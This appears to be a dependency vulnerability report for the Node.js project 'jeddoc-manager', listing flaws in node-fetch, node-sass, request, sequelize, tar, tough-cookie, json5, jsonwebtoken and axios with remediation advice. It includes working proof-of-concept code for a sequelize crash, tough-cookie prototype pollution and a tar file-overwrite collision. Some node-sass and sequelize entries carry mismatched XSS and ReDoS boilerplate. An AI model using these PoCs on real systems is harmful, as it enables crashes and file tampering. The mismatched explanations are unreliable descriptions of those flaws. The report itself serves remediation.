Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react@16.5.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-dom@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-dom@16.5.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-test-renderer@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-test-renderer@16.5.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-materialize@0.18.4 › react@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-materialize@1.1.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-materialize@0.18.4 › react-dom@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-materialize@1.1.0.
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.
Remediation
Upgrade node-fetch to version 2.6.7, 3.1.1 or higher.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Denial of Service (DoS). Uncontrolled recursion is possible in Sass::Complex_Selector::perform in ast.hpp and Sass::Inspect::operator in inspect.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-Bounds. A heap-based buffer over-read exists in Sass::Prelexer::parenthese_scope in prelexer.hpp. node-sass is affected by this vulnerability due to its bundled usage of libsass.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-Bounds via Sass::Prelexer::alternatives in prelexer.hpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-bounds Read. The function handle_error in sass_context.cpp allows attackers to cause a denial-of-service resulting from a heap-based buffer over-read via a crafted sass file. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: request
- Introduced through: jsdom@8.5.0, node-sass@4.14.1 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsdom@8.5.0 › request@2.88.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › request@2.88.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › request@2.88.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master branch but not yet published.
References
medium severity
- Vulnerable module: sequelize
- Introduced through: sequelize@3.35.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1Remediation: Upgrade to sequelize@4.44.4.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to Uncaught Exception due to the afterResults() function for the SQLite dialect failing to catch a TypeError exception for the results variable. This allows attackers to submit malicious input that forces the exception and crashes the Node process.
PoC
const Sequelize = require('sequelize');
const sequelize = new Sequelize({
dialect: 'sqlite',
storage: 'database.sqlite'
});
const TypeError = sequelize.define('TypeError', {
name: Sequelize.STRING,
});
TypeError.sync({force: true}).then(() => {
return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade sequelize to version 4.44.4 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.
Remediation
Upgrade tar to version 6.2.1 or higher.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: jsdom@8.5.0, node-sass@4.14.1 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsdom@8.5.0 › tough-cookie@2.5.0Remediation: Upgrade to jsdom@16.5.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsdom@8.5.0 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › tough-cookie@2.3.4
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: json5
- Introduced through: webpack@2.7.0, babel-register@6.26.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › json5@0.5.1Remediation: Upgrade to webpack@4.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babili-webpack-plugin@0.1.2 › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to webpack@3.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babili-webpack-plugin@0.1.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the parse method , which does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade json5 to version 1.0.2, 2.2.2 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@7.4.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsonwebtoken@7.4.3Remediation: Upgrade to jsonwebtoken@9.0.0.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.
Exploitability
Users are affected only if all of the following conditions are true for the jwt.verify() function:
A token with no signature is received.
No algorithms are specified.
A falsy (e.g.,
null,false,undefined) secret or key is passed.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.
Note:
This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.
Workaround
This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Remediation
Upgrade tar to version 7.5.4 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.
Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging.
This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.
Details
